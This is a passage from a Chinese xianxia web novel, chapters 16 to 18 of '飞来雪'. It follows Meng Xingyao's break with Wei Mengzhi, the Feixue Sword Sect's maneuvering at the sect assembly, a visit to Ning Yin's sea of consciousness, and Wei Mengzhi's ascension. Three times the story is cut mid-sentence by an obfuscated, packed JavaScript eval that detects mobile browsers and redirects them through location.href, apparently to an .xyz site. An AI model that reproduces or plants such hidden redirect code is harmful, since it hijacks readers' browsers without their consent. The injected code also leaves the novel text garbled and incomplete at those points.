飞雪剑宗出身不高,但弟子不少,经营多年,在凡间也小有名气。孙畅修为不算好,却以一手滚玉珠剑法最为出名,少有败战。 如今西征大战热火朝天,有如此大盛宗门前来投诚,自是甚好,孟星遥知道他有心来讨好,也乐得卖个面子。 孙畅俯身告辞,不卑不亢,姿态卓然,比起还在殿中吵架的那几个,更具几分仙人之资。 日子就这样慢慢步入正轨,宗门内的风言风语,也随着时间而逐渐散去。 偶有一天,她走到书柜的后侧翻找资料,意外掉落一本典籍,竟是她许久未曾翻开过的医书。 她拾起这本《素问》,沉默许久,最终还是翻开了它。 除了春来堂外,归明仙府很快便有了第二处诊所,起初只唤作百药堂。 但孟星遥对自己重拾的医术并不算很自信,故而百药堂一开始并不大,只有两间屋舍,一亩灵田,开辟了一处小小的药园。 她想能帮苏祈月分担分担压力也是好的。 还有叶韶景。 他和她有一面之缘,在她的提点下,他的修行小有增长,也开始重新随着师兄弟们外出斩妖除魔。 他来得不多,偶尔来帮她种种草药,写写药方,煮点好吃的东西,和她聊些往事。偶尔也会坐在无人的角落,画自己的画。 他画山,画水,画人,画飞鸟走兽,有时外出回来,还会画他见到的妖魔鬼怪。 笔锋精湛,栩栩如生。 其实孟星遥知道,作为第一个接纳他的地方,他对春来堂的感情颇深。 因此他能得到认同,她也替他高兴。 但她能装作无事发生,正常生活,危梦之可不行。 又一日东曜阁结束例行议会时,那素来骄傲的男子将她堵在了无人之处。 他的目光灼灼,像是要将她烙进眼底一般。 孟星遥避无可避,在他又一次伸手想抚摸她的脸时,一掌将他推了出去。 没防备她会动手,危梦之趔趄了两步方才站稳,一抬头,触及的便是她怒不可遏的目光。 “你到底想干什么?” “阿遥,我没打算娶她。”他说,“你能不能给我点时间。” “什么时间?”她盯着他,嘴角噙着一抹不带温度的笑容,“等着她给你生下孩子,然后你再娶我为妻?倒是让你左右不亏,占尽风光了。” 危梦之张了张嘴,但还来不及说什么,她已冷冷再度开口: “危赫,你有没有发现,其实你和你父王,本质是一类人。” 16.飞来雪(1) 多少年未曾听过的名字,让他怔愣当场。 这是危恒给他起的,其野心昭昭,可见端倪。 但极少有人知道它,他恨危恒,就连他起的名字也不愿用。 多少恩爱时倾诉于口的秘密,此刻却都化为了刀,狠狠地扎进他的心里。 他难以置信地盯着她,那双向来张扬明亮的漂亮眼睛空洞哀伤,犹如被摔坏的玻璃珠子,遍布裂痕。 “我和他,一类人……”他嗫嚅着,想拥抱她的手渐渐放下,踉跄着往后退去。 孟星遥咬着下唇,紧张地注视着他。 “好,好,好。” 两厢僵持片刻,他忽然大笑着鼓起掌来,和她目光相抵,眼里尽是嘲弄:“孟星遥,你说得对,也做得对。” “既是如此,我又何必要再在你身上浪费时间?真是无趣至极。” 他最后剜了她一眼,转身甩袖离去,干脆利落,仿佛两人不曾相识过。 孟星遥不太记得自己是如何回到池华殿的。 深秋的风已有了几分凉意,木芙蓉开得再盛,也挡不住那逐渐刺骨的萧瑟。 池苒是一下班就跑来作客了,她从天市仙集采买了一些新鲜吃食和玩意,兴致勃勃地想来同她分享。 然而左等右等也不见人,正要去寻她时,却见她失魂落魄地回来了,只点头打了个招呼,便将自己关进了房里。 她这副模样,不用猜也知道遇上了谁。池苒心中愠怒,也跟着开门进去,嚷嚷道:“那挨千刀的危梦之又干什么了?他又来招惹你了?烦死个人了,再这样,我去找掌门,我非要让他来评评理,到底有完没完了?” 孟星遥倚着床柱,摇了摇头:“他不会再来烦我了。” “这个人真的有……啊?什么?” “我说,”她道,“他不会再来找我了。” 这明明是她最希望的事,可是她又为何如此怅惘? 如今仙府内人人都默认危梦之和沈容姬才是一对,她也曾远远地见过他俩相伴而行的模样。真奇怪,明明被辜负的人是她,可视线即将相触的瞬间,她却下意识地先将自己躲起。 其实这样也好,之前她总以为,他虽爱她,可心中真正所求的其实不过是如他母后一般温柔体贴的人族女子。 而这两样词,从来和她沾不上边,人人都说她冷情淡漠,性直刚烈。她成不了苏梓芸,也不愿成为她。 沈容姬痴情温柔,又爱他,她亦是人族,无论怎么看,都是一个双赢的结局。 她以为自己已经不在乎了,可池苒望着她,却很是担忧地说:“阿遥,你别哭啊。” 她抚上脸颊,手心一片潮湿。无声的泪落下,化作了床边满匣的珠宝玉石,皆是危梦之倾尽所有送她的珍宝。 孔雀最爱奢华,他爱她时,也不管她需不需要,只要他喜欢,便无论如何都要送于她手上。 她喉间晦涩,伸出双手捧起那流光璀璨的宝珠玉石,珠玉碰撞,发出清脆悦耳的声响。 屋外秋风瑟瑟,日光照进窗棂,落于她的掌心。 眨眼间,无数光阴流转忽如沙漏飞逝,那满匣琳琅满目的珠宝,开始渐渐化为齑粉随风飘散而去。她抬手去捉,它们又轻巧地从她的指缝间流走。 最终也只抓住了她手中的这颗夜明珠。 光华熠熠,晶莹润亮,在午后的阳光下泛着深不见海的莹蓝色光芒。 “好吧,苏祈月要回来了,仙府看来又有得热闹了。”耳边传来池苒意味深长的嘀咕,“不过,我要先回去了。听说小绫这几日赶不回来了,我还得替她把册子给写了呢。” 她抬起眼眸,看见池苒苦恼得脸都皱作一团。 此次闻秋试之前,弘缨长老公孙小绫恰好下山去青牛山见故友,比武交流。 她本是一个剑痴,修为虽未登顶,但剑术高超,武艺高强,来去无踪,若非修为压制,谢云迢在她手上也讨不了几分好。 青牛山靠近东西荒交界,这几日听闻亦有妖祟作乱,她便一直待到了现在。 过几日的仙府十年大议会,除却三十六宗外,长老们也要汇报各自监管的职责任务,千年庆典将近,今年的议会也是重中之重。 池苒一想到这些事就痛苦。 “你快去吧。” 知道她要赶工,孟星遥也没多挽留。她低垂着眼睫,随手将夜明珠丢进了百宝袋。 日子很快忙了起来。 闻秋试没过两日,便是十月廿一,仙府大议的日子。 作为蒸蒸日上的大宗门,归明仙府名下的大大小小的产业不计其数,一同维持着宗门开销,光是十分稀有的巨型灵矿,就有十二条,更别论其他矿脉,在五大仙宗之中也算是佼佼者。 东荒西洲疆域以清衡山归明仙府为尊,名下有三十六座排得上号的仙山及宗门,彼此相邻,休戚与共。归明仙府名下的产业也由他们协助管理,定时汇报,逐渐形成了如今的格局。 由此也形成了每十年开一次大议会的惯例。今年的日子定在十月廿一至冬月初六,恰好就在闻秋试之后,三十六宗各宗门的宗主和长老们刚好留在清衡山汇报工作。 而且,三个月后就要补办千岁庆典,有许多要事相商。近日西洲凡间汝河等国的使者也开始陆续送来贺礼。 人来人往的,十分热闹。 从入座开始,孟星遥就察觉到一直有几道视线在时不时地看向自己。仙人尊容,不可直视,一般这种时候没人敢盯着看坐在主位的二人,显得这几道视线尤为明显。 她装作没看见,但该来的总会来的,午间休息时,她刚出来透个气,便看见一个长须如雪,步态苍老,却衣着华贵的老人在两位后生的扶持下,颤颤巍巍地朝她走来。 “……” 居然连飞雪剑宗的老宗主都派来了。 孟星遥走晚了一步,那老头看着年迈,步履却一点不慢,扶着金丝木的拐杖两三下便走到了她的跟前,老态龙钟的脸上挂着讨好的笑意,佝偻着背,尚未开口便是要向她行大礼。 一双老腿抖如筛糠,孟星遥都怕他摔了,双指一弹,凭空一道力托住了他,她无奈地叹了口气:“孙老宗主,你这是做什么。” “儿孙不敬尊长,我来替他们道歉。” “言重了。你既然来了,我也开门见山地说了。满榕是我们看着长大的,她天赋卓绝,不必多说,可惜急于求成,走了歪路,能让她还在留在归明,已是照拂许多。” “我知道,我知道,可是尊上,您也知道,飞雪剑宗为归明仙府辛苦多年,能否在我们一门辛劳的份上,再帮帮榕儿……” “……” 到底哪来那么厚的脸皮? 眼前的老头耄耋之相,苦苦求人的模样,若是在凡间,倒是令人动容,免不了为他老牛舐犊的情意而生出几分恻隐之心。 只是这是在仙洲,孟星遥也算看着这任门主孙祎长大的。可惜悟道时间晚,历劫困难,这才蹉跎成这副模样。 掐指算算,他其实早该大限将至,全靠孙常德及各个晚辈的神功相护,以及各种灵丹妙药延年益寿,这才强行延续到现在。 “老宗主,朝令夕改是为大忌,想来您也能理解,我确实爱莫能助,”孟星遥冷眼相看,无动于衷,“回去剑宗也是让满榕好好反思反思。” 似乎是察觉出她语气里的不悦,孙老门主犹豫了一下,眼皮耷拉,长叹一口气:“可是满榕这孩子,没遭过这种委屈啊……”身后两个后生亦不敢多言,只是扶着老爷子,低声安抚着。 午后的轻风吹起池边柳丝,有几人正好从廊下走来。 为首的那人仪表堂堂,剑眉星目,端的是丰神俊朗,旁边的人苍白阴郁,冷傲华贵,两人一同踏步走来,正是谢云迢和危梦之。 身后还跟着几名宗主与长老,似乎正在商议着什么。 狭路相逢,两边俱是一愣。 今天出门忘了看黄历,真是晦气。 孟星遥想。 另一边,危梦之开口问道:“这是怎么了?” “掌门,玉衡仙君!你们来了,请看在往日情分上,帮帮榕儿吧。”孙老门主眼前一亮,急忙说道。 孟星遥袖手站在一旁,似笑非笑,一副作壁上观的样子。 见此情形,危梦之眉头轻蹙,但尚未开口,忽有一人自谢云迢的身后匆匆走出。 他三步并作两步地走到孙老门主的身边,语气无奈:“爹啊,您又在做什么,都说了让您别来了!” 孙老门主拉住他的手,捶胸跺脚:“我心疼榕儿啊,方才去见她,她哭得不知多伤心。” “呵,从小到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778777|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争强好胜,如今偷习禁术,打伤同门,还偷袭尊长,没被打死都是给了飞雪剑宗情面,都是你们把她宠坏了!”孙常德冷哼一声,“阿思,愣着做什么,还不赶紧把老爷子送回去休息。” “是是。” 孙常德转过身,对众人行了一礼,尤其是孟星遥:“各位,实在抱歉,家父爱孙心切,才会行此下策。尊上,还望您能见谅。” 孙老门主哀叹一声,看着颇令人同情。一旁的顾玄明先没忍住,走上前去:“好了好了,常德你也不必如此,虽然榕丫头有错在先,孙老宗主心疼她,也是人之常情。尊上定然也不会责怪的,对吧?” 孟星遥微微一笑,静观不语。 “这样,难得你们上来一趟,恰逢我院子里那株千年睡莲不日也将开花,过几日等云扬回来,我们把榕丫头接来,一起去我丹阳峰赏花,如何?梦之师兄,这回您必须得来啊。” 危梦之的视线落在孟星遥身上。艳阳高照,暖风和煦,吹动她的衣摆飘然如仙。身旁的顾玄明还在盛情邀请:“掌门,尊上,也一起?” “不必了,我还有其他要事,就不奉陪了。”孟星遥拂袖转身离去,懒得废话,危梦之迟疑了一下,正欲说什么,一旁的谢云迢却拍了拍他。 “我也不去了,梦之,你病体初愈,难得出关,多走动走动也是好的。” “……是。” 既然谢云迢都放话了,众人也不敢有异议,亦随之散去。 议会本就枯燥漫长,更别提今年的议程安排得满满当当。 孟星遥闭上眼,左耳是关于解决赤岭山、一柏山典型钉子户化妖窟遇到的困境和优秀经验总结,右耳是清河道宗、云灵仙门等宗门今年的财政收支和属地建设进度汇报。 睁开眼,面前堆案盈几,下方议事厅中央五个大型的回字桌,一圈叠一圈,满满当当,座无虚席。各个轮到的掌门即便都是身经百战的老油条,复命时仍是肉眼可见的紧张。 不过听了几天,三十六座宗门之中,仍属飞雪剑宗管辖得最为优秀。 无论是属地的经济之道,民生建设,还是今年的弟子招收、学业成绩,都一马当先。 尤其是五年前云凌城的那场仙门弟子失踪案,寻伤者,杀蛇妖,顶住三宗压力完美解决,就连报告也写得非常精彩,让飞雪剑宗力压群雄,成为今年万众瞩目的焦点。 就连谢云迢听完也忍不住感叹,若三十六宗皆如飞雪,我归明可无忧矣。 孙常德汇报完走下台,高视阔步,意气扬扬,连一丝眼神都懒得给其他同仁。 然而他越这样,一入座,身后的窃窃私语越是如蚊蝇一般钻入他的耳朵。 “飞雪剑宗真是厉害啊,去年就被宗主当众夸过了,今年更是无出其右。” “确实,这案子确实办得漂亮,我手底下的人要是能有他们的一半机敏就好了。” “还是孙宗主会培养人。” “嗨,他会培养门人,可不见得会培养孩子,你们没听说吗,他那个宝贝女儿犯了一堆事,从长云峰被赶出来了,要不是玉衡仙君相助,这会都得被驱赶出归明了。” “什么事啊?口风这么严实吗?都没传出来?” “你消息也太闭塞了吧,前两天我还远远看见孙老宗主在给他孙女求情呢。” “他那个女儿不是很厉害吗,年纪轻轻又天赋卓绝,听说是归明仙府目前升境最快的一个人吧?之前还说飞雪剑宗潜力十足,弟子优异,大有当年归明仙府初成时的风范。” “欸,别说,飞雪剑宗上下差距还挺大,你们不知道吧,孙宗主之前的两个孩子,在闻秋试里都没能过三关,所以对现在这个那是非常宝贝,生怕摔了碰了。” “你说的这事,我倒略有耳闻……” “砰!” 茶杯被恰到好处又重重地砸在桌子上,恰好惊起旁人惊诧,又不至于惊动上座。孙常德的眼刀向后一扫,那蚊虫一般的低语声顿时消失不见。 他用力捏住杯子,却又在出现裂纹将碎不碎之时松了手。 深吸一口,孙常德的面色恢复如常,依旧是聚精会神、正襟危坐的模样。 他静静看向上方,那端坐的几人如天上神,中间那道铺着精美云纹地毯的玉阶,是他走了几百年,午夜梦回时都不敢伸手的距离。 17.飞来雪(2) 池华殿的灯一连亮了五宿。 孟星遥刚用朱砂笔打上最后一个钩,池苒便打着哈欠从外面走了进来。 桌上的案牍是用特制的纸张制成,轻薄柔软,即便如此,也依旧堆积如山。池苒手一抬,袖里的册子便整齐飞到了桌子上,瞬间恢复原来的大小,压在孟星遥刚批完的案牍上。 “来吧,又来了一批。”池苒说,“这是报上来的单子,有庆典邀请的宗门名单,定制礼品的选定名录,庆典表演暂定的节目单,还有衡天盟那边送过来的案册,我一并给你拿过来了……” “这是什么?”孟星遥从其中抽出一册。 ”我看看……噢,这是宗务处关于观星台等宗门五十处地点的修缮和配合庆典布置的费用预算,金额有点高,所以需要给你过过目,蔺沉光让我带过来的。” “修缮不是老早进行了吗,怎么费用的告禀现在才给过来,”孟星遥拿起来仔细看了看,“说几次了?门规不只是给弟子们定的,在其位谋其政,以前养成的习惯都得改了,还有……” 她看了池苒一眼:“他又请你吃什么山珍海味了?下次这种事让他自己过来,你别帮他。” “噢……”池苒心虚地舔了舔舌头,又坐到孟星遥身边,笑嘻嘻地说,“你放心,绝不再犯,对了,你知道我方才遇到谁了吗?” “我猜……少衡?” “什么呀,你猜他干嘛,没劲。”池苒一边接过她批完的册子放好,一边说,“你忘记今天是什么日子了?今天是二十六欸,你记不记得你还约了人?” 约了人?孟星遥在心里把最近的事想了一通,到最后才如梦初醒。 事情太多,她把宁音给忘了。 池苒一副我就知道的表情叹了口气,摊了摊手:“还好我在门口遇上了人,不然这丫头什么时候能见到你都不知道,我已经把人带进来了。” “嗯。”孟星遥批完手上的册子,堆到桌上浩如烟海的案卷里,起身道,“走吧。” 池华殿是归明仙府落地最高的府邸,和掌门的正德殿恰好相对。 然而这里偏殿内的陈设却很简洁,有道是大道至简,一眼望去,更显典雅大气。 屋内的香炉燃着袅袅熏香,闻之令人心神舒缓。 宁音左看看,右看看,实在没忍住,开始用手指沿着座椅把手上的花纹开始画画。 “宁音。” 她猛地一激灵,连忙坐好,却发现原来是身旁的人在喊她。她松了口气,笑道:“林师姐,你吓我一跳。” 身旁的人无奈地摇了摇头,嗔怪地看了她一眼:“乖乖坐好,这可是池华殿,别乱动。” “好吧。” 宁音乖乖地收回手,然而没一会儿,她又悄悄左顾右盼,从桌子、椅子、房间摆放的香炉、绿植花卉,一直看到墙上挂着的几张书画,能在池华殿里挂着的自非凡品。 尤其有一副是一张工笔精美的山水画,山水之间,百兽争鸣,为首的是一只漂亮的白狐,奇特的是它的耳朵和尾巴末端皆为红色,远远看去,犹如雪中一点红梅。 好漂亮,仿佛在哪里见过…… 未等她细品,屋外忽然传来说话声,两人急忙起身,对着来人恭恭敬敬地行上一礼。 看见屋里是两个人,孟星遥有些意外,她的目光落在宁音身旁的那人的脸上,未等她开口,那人便自我介绍:“飞雪剑宗弟子林悦君,拜见尊上。” 池苒笑道:“原来你就是林悦君啊,今年排行第三的弟子,很厉害啊。” 仙考前三的位置向来被长老们的亲传弟子占据,各宗门普通弟子即便天资不逊,又勤奋刻苦,能进前三的也是少之又少,而眼前的女子看起来娇花照水,弱柳扶风,不显山不露水,没想到如此厉害。 孟星遥点点头,笑道:“确实厉害。” “多谢尊上、池长老夸奖,悦君只是运气好罢了,若非锁妖塔出事,我也拿不到这个名次,”林悦君看向一旁,柔声道,“其实这第三名本该是宁音的。” “没有没有,”宁音连忙摆手,“就算把最终试的成绩算上我也拿不到的,师姐太谦虚了……” 孟星遥眼神示意,池苒会意颔首,说道:“那悦君,你跟我出去等候吧。” 门被轻轻关上,孟星遥观色诊脉,又施法探查身体,乍一看,宁音似乎已并无大碍。 她抬了抬下巴,示意宁音同她一起面对面坐着,两人一同运转周天,四周的真气如有实体一般逐渐凝聚,隔出一方屏障。 房中那淡淡的熏香之气萦绕在宁音的鼻尖,令她逐渐昏沉过去。 雾气散去,孟星遥又来到了宁音的识海。 依然是古色古香的一群建筑,先前被真火焚烧的城池已经恢复如初,远远望去,楼阁亭台,大气磅礴,流云飞鸟,泼墨丹青。 孟星遥与宁音一同沿着街道行走,观沿途的风景如画,不由笑道:“你老家的街景还挺是繁华。” “尊上,这里不是柳城。” “嗯?”孟星遥十分意外,“那是哪里?” “我也不知。”宁音摇了摇头,“自我识海显现之后,这里就出现这么一座城,但不是我老家柳城,也不是我去过的任何一个地方。” “会是越阳国的其他地方吗?” “我曾循迹搜寻过,但目前来说,一无所获……” 宁音的修为虽然不低,但尚未登仙,识海再广也有范围,这座城显露出的地方并不大,恰好临近城门的位置模糊的一片,尚未现形,刻着名字的牌匾隐匿其中,无法看清。 “我之前拼命修炼,就是想知道这里是哪里,为何会出现在我的识海,可惜还差一点,等我再厉害点,就能破案了。” 街道并不长,很快便走近了石碑的地方。越临近这里,地上的灰烬就越明显,显然还有残余的心印真火。 更准确点,应该叫邪火,被大藏心经影响,那一点点真火早已失去原本面貌,此刻正附着在石碑之上,极力吸取着里面渗透出来的灵气。点点余火虽无大害,看着也有点骇人。 “这……”宁音大吃一惊,下意识地往后退了两步,“这是何物,之前并未出现在我的识海之中。” “不知,但你被孙满榕打伤后,是这石碑之中封印的灵气救你一命,让你不至于伤得更重。” 此刻石碑之上空无一字,并没有她先前见到的那些密密麻麻的大荒古文,安静地伫立在那儿,古朴厚重。 孟星遥也不奇怪,双手结印,便有淡青色的光芒笼罩在石碑上,那邪火触之,登时如蚂蝗遇盐,胡乱挣扎起来。 不知为何,她似乎听见那石碑传来淡淡的一声叹息,但转瞬即逝,恍如梦中。 青光消失的时候,邪火也被彻底消灭,石碑身上被烧灼出几道很大的裂缝,恍如人之伤口,此刻正往下簌簌掉落白色的灰,孟星遥正要去查看,一旁的宁音却眼神涣散,径直走了上去,上手去剥那石碑。 “等等,小心!” 石碑之上的禁制瞬间暴起,一股带着杀意的灵气猛地朝宁音冲了过去,孟星遥连忙反手将她护在身后,灵气被她的护体真气所挡,力道消弭,转身朝着识海之外飞了出去。 “身上可有伤到?”孟星遥将宁音扶起,后者捂住头,这才如梦初醒般意识到自己做了什么,十分慌乱地道歉:“对不起尊上!我不是有意的!只是刚才……刚才,好像有声音叫我放它出来……” 孟星遥侧目看去,石碑之上,那一轮轮的大荒古文又现形出来,排列成行,变幻莫测,泛出红色微光,不久后又逐渐淡去,再度变为空无一物的无字石碑。 “尊上?” 孟星遥抬手施法,将石碑的周遭清理干净,又织成一道灵罩,将它包裹起来,覆盖住那几道裂纹。 她拍了拍宁音的肩膀,柔声道:“走吧,我们先出去。” 两人还神归位,皆静默不语,良久,宁音小心翼翼地开口:“尊上,那到底是何物……” “这些天,你可有什么其他的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我就知道你会好奇。”池苒笑道,“我方才让人去查过了,据说是飞雪剑宗前任长老林城从外面捡回来的弃婴,但是从小常常被孙满榕欺负,所以在飞雪剑宗也不是很受重视,应当是和宁音同为天涯沦落人,所以比较聊得来吧,不过呢,她倒是性子温和善良,常常替斡旋于两人中间,试图缓和关系。” 弃婴? 孟星遥垂下视线,想起方才那张和孙满榕亦有几分相似的侧脸,笑道:“是吗,这倒是和飞雪剑宗那群人不太一样,上次给我这个感觉的,还是玄明那个徒弟,是不是叫宋云扬来着。” “对,不过听说因为她如今成绩不错,飞雪剑宗对她也变了态度,颇为照顾,孙常德这人,还真是现实。” “呵,不然怎么会取得如今的地位,弱肉强食,强者为尊,是不变的定律,”孟星遥走走停停,沿着墙边的画边走边看,最后停驻了下来,“虽说不喜他们,但总归他飞雪剑宗运气好,总能逢凶化吉,事半功倍,云凌城一案,让他们更是风头无两……也罢,再说吧。” “哎……”池苒无奈摇摇头,视线随孟星遥一同落在那一幅百兽游山图上,如果她没记错,是当年叶韶景送给她的。 想了一想,她问道:“对了,宁音那个东西,”她用手指敲了敲脑袋。“是什么呀?” “……不好说,”孟星遥道,“我总觉得有些眼熟,这个咒文并不常见,或许哪本古籍上提过……” 她话语刚落,窗外忽传来悠扬的鹤鸣,此起彼伏,清亮悦耳。 两人循声望去,遥远的长云峰之上霞光万千,仙鹤盘旋,百兽叩首,冲天的紫气金光荡漾开去,皆化作福泽雨露降落广袤土壤。 一道七彩虹桥携无数流光横跨长空,其势之广,连绵千里山河。 危梦之,破境了。 18.飞来雪(3) 此番还不是寻常的破境。 虹彩连桥之上,竟有金凤彩凰成对飞来,神翼璀璨,洒下漫天金光。它们身后,携来百鸟展翅啼鸣,敬之以礼,盘旋不去。 危梦之居然是跨过上仙,直接破格得神阶,成了神君。 想来是多亏了他体内那一半的神族血脉。 危梦之此一升境,无上灵气降落,充盈天地,来往修士与灵兽皆驻足观瞻,纷纷发觉身轻体畅,灵窍通明。 “我去,瞧你给的药,他哪点比得过你,还直接升了神君,这公平吗?” 池苒不知何时把茶桌上的糕点拿来了,边吃边看,痛心疾首。 望着那七彩虹桥和百鸟朝凤之景,孟星遥眼中闪过一丝讶异,又转瞬成释然:“果然如此,不过他既登位,对我倒是一件好事。” 她话音未落,功德簿上金光闪现,果然出现了最好的一记闪亮大金正字。 三百年前,云梦泽畔,她出掌打伤危梦之的场景还历历在目,叶韶景弥留之际牢牢拉住了她,才让她没在冲动之中犯下彻底的错事。 然而那次危梦之受伤不轻,恰逢天劫来临,无上天威雷鸣滚滚,他差之毫厘,失之千里,最终没能抗过,反倒修为大损,留了一身伤痛,变成如今病体缠绵的模样。 对他来说,算是倒霉,天劫神劫皆无定数,他好运遇上简单的雷劫,偏生遭逢此难,硬生生拖到现在。 孟星遥原本并不想帮他,他误杀叶韶景,她打伤他,看在同门多年及谢云迢的面子上,亲自帮他止血疗伤,已经仁至义尽,至于他后续如何,干她何事。 直到百年前的星命盘前,她揪住司命星君,把填满了一百五十页大小功德的功德簿摔在他跟前,问他到底何故。 成神成神,她只想早日飞升成神,凭什么谢云迢上得,偏她上不得。 司命星君也迷惑不解,他虽自诩不如前任司命,但上了六七百年的班,也已衍算了万千星象,世上万事多少都能算出一二,不至于这样难办。 上一个遇到这样的疑难杂症,还是无极帝君黎煊这种无赖,非要新上任的他帮忙找一把老早被他搞丢了的钥匙,说非常重要,把他吓得不轻。 真服了这群人了,尤其这俩师徒,他是看星算命的,怎么丢东西也归他管? 司命把自己关在房间里对着她的五行星象严谨地算了五天五夜,最后只得出一个结论:你星象混沌,大抵是还欠了天道一些东西。 “比如?”她问。 “比如……”司命斟酌语句,犹犹豫豫地问道,“你是不是还欠了谁人情没还啊?” 她思来想去,自己有所亏欠的,最近的好像就是苏祈月这对姐弟。 她因识人不清,间接害死了苏祈月,又情急之下失手打伤危梦之,让他差点殒命天劫。 大抵,应当都算她的过错。 这百年来,她忍气吞声,养活兰殊仙草,治好了苏祈月,还助危梦之飞升,都是为了这个金字。 终于功夫不负有心人,功德簿上这偌大的金正字一出现,她顿觉灵台清明,隐有神力之感。 司命星君看起来不靠谱,倒也真有几分本事,有时间得回送点礼物。 她心情好,拍了拍池苒的肩膀,露出幸灾乐祸的笑:“好了,与其说这个,你还不如考虑考虑你的小金库还能翻点啥出来。” “翻我的小金库干嘛?”池苒一脸防备,“我好不容易才攒下三百万灵石的余钱,离我看上的澈心岛就差一百万了哈。” “危梦之既升神君,同门自当要送贺礼呀。” “……什么?!不行!”池苒追着她,“你那儿有啥能给我的,便宜货也行,我不想花我的钱!!” * 危梦之坐在首座之上,优雅从容,正调试自己的琴弦。 自升神君之后,灵气滋养,他病体康复,原本一头白发也变回青丝,令他的相貌也恢复如初,英俊潇洒。 他的发间坠了雀羽银饰链子,垂至额头,乌发微卷而蓬松,竟有了几分年轻时风流张扬的风采。 只是那眉宇间随年岁增长而显露的凌厉孤傲的气质,令人不敢轻易靠近。 而他的身前,众人正齐聚一堂,赏花玄谈,曲水流觞。 借着庆贺他飞升神君的由头,顾玄明这次的品莲会办得十分盛大。 顾玄明是个俗人,即便已经得道登仙,他也依旧爱金玉堆砌,偶尔吟诗品茗,不过也是附庸风雅。 但时间一久,也形成了他自己独特的风格。这场模仿凡间的游乐,倒也有模有样。丹阳峰布局宽敞,富丽堂皇,庭院中间一汪金石雕砌的水池之中,一朵硕大的千年睡莲缓缓盛开,花蕊剔透,莹光飞舞,美不胜收。 围绕着它,莲叶之中,还有一朵朵小的睡莲并蒂盛开,晶莹美丽,随着流水,和着玉制的酒杯一同飘荡而来,由一旁的仙侍捞起,分别递至对应的客人跟前。 而水池旁的首座,一身玄衣的危梦之正抚奏一张青色玉石制成的凤首琴。 随着他修长的手指拨弄,琴头凤首衔住的粉色菡萏如有呼吸一般悄然盛放。 而琴音悠扬绵长,更如高山流水之间,回风飘雪,清冷高雅,令人沉醉。 一曲完毕,众人好一会才回过味来,不由得纷纷鼓掌,顾玄明率先开口道:“梦之师兄的琴技,真是越发炉火纯青,当真是余音绕梁,不绝于耳,令我这儿,都蓬荜生辉了。” “是啊,如此出色的曲子,真是难得一闻。” “没错,师兄神貌仙姿,琴声悠然空灵,与这千年睡莲相得益彰,如见天山孤雪,令人难以忘怀。” 众人赞叹之声不绝于耳,危梦之淡淡颔首:“各位谬赞了,幸得玄明师弟做东,难得有此一聚,多有叨扰了。” 顾玄明接过仙娥递来的酒,闻言笑道:“师兄,升登神君,可谓了却一桩心事,闲暇之余,可多和我们聚一聚,不仅舒畅身心,也可增进情谊。” 他话一出,座下的其他师兄弟们也都纷纷点头。危梦之淡淡一笑,不置可否。 “没错,玄明真君所言极是,恭贺玉衡神君!我在此敬上一杯。”孙常德站起身,举起酒杯,敬饮一杯后,又向着高位之人敬道,“这些天大家忙于公事,多有疲惫,我这珍藏多年的仙酿天仙醉,也请各位品鉴品鉴。来,我替我父亲,以及飞雪剑宗,也敬各位尊者一杯,日后共事,还望多加指点,多多包涵。” “哈哈,孙宗主,俗气了啊,今日只谈风月,不言其他。” “哎呀,你看我,罪过罪过,那我再自罚一杯。” 孙常德笑眯眯地敬完酒,坐下时看向一旁,自己那曾经为之骄傲,名噪一时的宝贝女儿孙满榕,此刻正一副恹恹的模样坐在那儿。 虽说回到剑宗之后,衣食住行甚至比在长云峰更好,但心境大变,人也饱受摧残,自当颓然,不复昨日容光。 孙常德夹起桌上的佳肴,又觉得无趣,不轻不重地摁下筷子,语气不快地低声说道:“也不知我来这宴会是为了谁,挎着一张脸给谁看,给我坐端正了!” 孙满榕看了他一眼,若是从前,她肯定懒得理他,但现在她修为大损,几如废人,心里再如何不快,还是稍微坐正了身形。 “我也不要求你什么,你鲁莽冲动,眼高手低,这事就过了。修为废了,就再练,家里也不缺这点丹药。”孙常德看低声道。 顾玄明发了帖子,今日除了最大的那两位,和外出的公孙小绫外,其余的长老全都请到了,是个求人情的好机会。 “现在最要紧的就是让各位长老莫要忘了你,替你说几句好话,抓紧拜回你亲传弟子的身份,早登仙位,我们飞雪剑宗,丢不起这个人。” “我说过,我没有……” 她的话语截在一半,孙常德已经举杯去敬其他长老,并不在意她的回应。孙满榕把话吞了回去,沉默地看着他的背影,眼神里有一瞬的难过。 聚会之上,赏花吟诗,觥筹交错,好不热闹。 危梦之身处高座之上,静观底下欢笑晏晏,轻轻地呷了一口酒。 成了神君之后的最大好处,就是他的酒量比以前好了一点。 距离他升神君已经过了十日,但这十日,他一直闭门不出,除了谢云迢,谢绝了任何人的拜访。 即便是帝君和仙首送来的贺礼,也只是被简单收纳,纹丝未动。 人人都称羡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待场上众人纷纷看向他后,方才清了清嗓子,庄重地开口:“今日是个好日子,除了庆贺梦之师兄外,我还有个事想宣布,那就是我的爱徒——宋云扬这次领兵西行围猎除妖,双喜临门,不仅突破了境界,还被衡天盟给重重嘉奖,不日便可得授仙首封书,去衡天盟受封上品仙职了!” 